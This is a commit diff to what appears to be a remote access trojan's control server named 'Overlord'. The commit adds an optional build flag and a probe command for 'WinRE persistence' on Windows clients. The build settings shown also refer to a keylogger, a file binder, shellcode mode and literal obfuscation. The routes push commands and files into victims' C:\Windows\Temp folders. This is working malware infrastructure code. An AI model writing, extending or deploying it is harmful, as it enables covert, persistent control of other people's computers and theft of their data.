optional winre and winre probe
This commit is contained in:
@@ -90,6 +90,7 @@ type BuildProcessConfig = {
|
||||
noPrinting?: boolean;
|
||||
disableKeylogger?: boolean;
|
||||
enableWebrtc?: boolean;
|
||||
enableWinRE?: boolean;
|
||||
builtByUserId?: number;
|
||||
outputName?: string;
|
||||
garbleLiterals?: boolean;
|
||||
@@ -1059,6 +1060,7 @@ func runBoundFiles() {
|
||||
if (config.noPrinting) baseTags.push("noprint");
|
||||
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
||||
if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre");
|
||||
if (hasBoundFiles) baseTags.push("hasbinder");
|
||||
if (isIosTarget) baseTags.push("ios_target");
|
||||
if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console");
|
||||
|
||||
@@ -107,6 +107,7 @@ export async function handleBuildRoutes(
|
||||
criticalProcess,
|
||||
disableKeylogger,
|
||||
enableWebrtc,
|
||||
enableWinRE,
|
||||
outputExtension,
|
||||
sleepSeconds,
|
||||
boundFiles,
|
||||
@@ -390,6 +391,7 @@ export async function handleBuildRoutes(
|
||||
criticalProcess: safeCriticalProcess,
|
||||
disableKeylogger: !!disableKeylogger,
|
||||
enableWebrtc: !!enableWebrtc,
|
||||
enableWinRE: !!enableWinRE,
|
||||
outputExtension: safeOutputExtension,
|
||||
sleepSeconds: safeSleepSeconds,
|
||||
boundFiles: safeBoundFiles,
|
||||
|
||||
@@ -20,11 +20,52 @@ type WinREUpload = {
|
||||
size: number;
|
||||
};
|
||||
|
||||
type PendingCommandReply = {
|
||||
resolve: (result: { ok: boolean; message?: string }) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
clientId: string;
|
||||
};
|
||||
|
||||
type WinRERouteDeps = {
|
||||
WINRE_ROOT: string;
|
||||
winreUploads: Map<string, WinREUpload>;
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
};
|
||||
|
||||
function isWindowsClient(target: any): boolean {
|
||||
const clientOs = (target?.os || "").toLowerCase();
|
||||
return clientOs.includes("windows");
|
||||
}
|
||||
|
||||
async function probeWinRE(deps: WinRERouteDeps, target: any, clientId: string): Promise<{ ok: boolean; reason?: string; message?: string }> {
|
||||
const cmdId = uuidv4();
|
||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("WinRE support probe timed out"));
|
||||
}, 15_000);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId });
|
||||
});
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "winre_probe",
|
||||
id: cmdId,
|
||||
}),
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await replyPromise;
|
||||
return result.ok
|
||||
? { ok: true }
|
||||
: { ok: false, reason: "not_enabled", message: result.message || "WinRE persistence is not enabled on this client" };
|
||||
} catch (error: any) {
|
||||
return { ok: false, reason: "probe_failed", message: error.message || "WinRE support probe failed" };
|
||||
}
|
||||
}
|
||||
|
||||
export async function handleWinRERoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -109,7 +150,7 @@ export async function handleWinRERoutes(
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string; error?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
@@ -118,12 +159,17 @@ export async function handleWinRERoutes(
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
if (!isWindowsClient(target)) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const probe = await probeWinRE(deps, target, clientId);
|
||||
if (!probe.ok) {
|
||||
results.push({ clientId, ok: false, reason: probe.reason, error: probe.message });
|
||||
continue;
|
||||
}
|
||||
|
||||
const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`;
|
||||
const destPath = `${destDir}\\${upload.name}`;
|
||||
|
||||
@@ -195,7 +241,7 @@ export async function handleWinRERoutes(
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string; error?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
@@ -204,12 +250,17 @@ export async function handleWinRERoutes(
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
if (!isWindowsClient(target)) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const probe = await probeWinRE(deps, target, clientId);
|
||||
if (!probe.ok) {
|
||||
results.push({ clientId, ok: false, reason: probe.reason, error: probe.message });
|
||||
continue;
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
@@ -261,7 +312,7 @@ export async function handleWinRERoutes(
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string; error?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
@@ -270,12 +321,17 @@ export async function handleWinRERoutes(
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
if (!isWindowsClient(target)) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const probe = await probeWinRE(deps, target, clientId);
|
||||
if (!probe.ok) {
|
||||
results.push({ clientId, ok: false, reason: probe.reason, error: probe.message });
|
||||
continue;
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
|
||||
Reference in New Issue
Block a user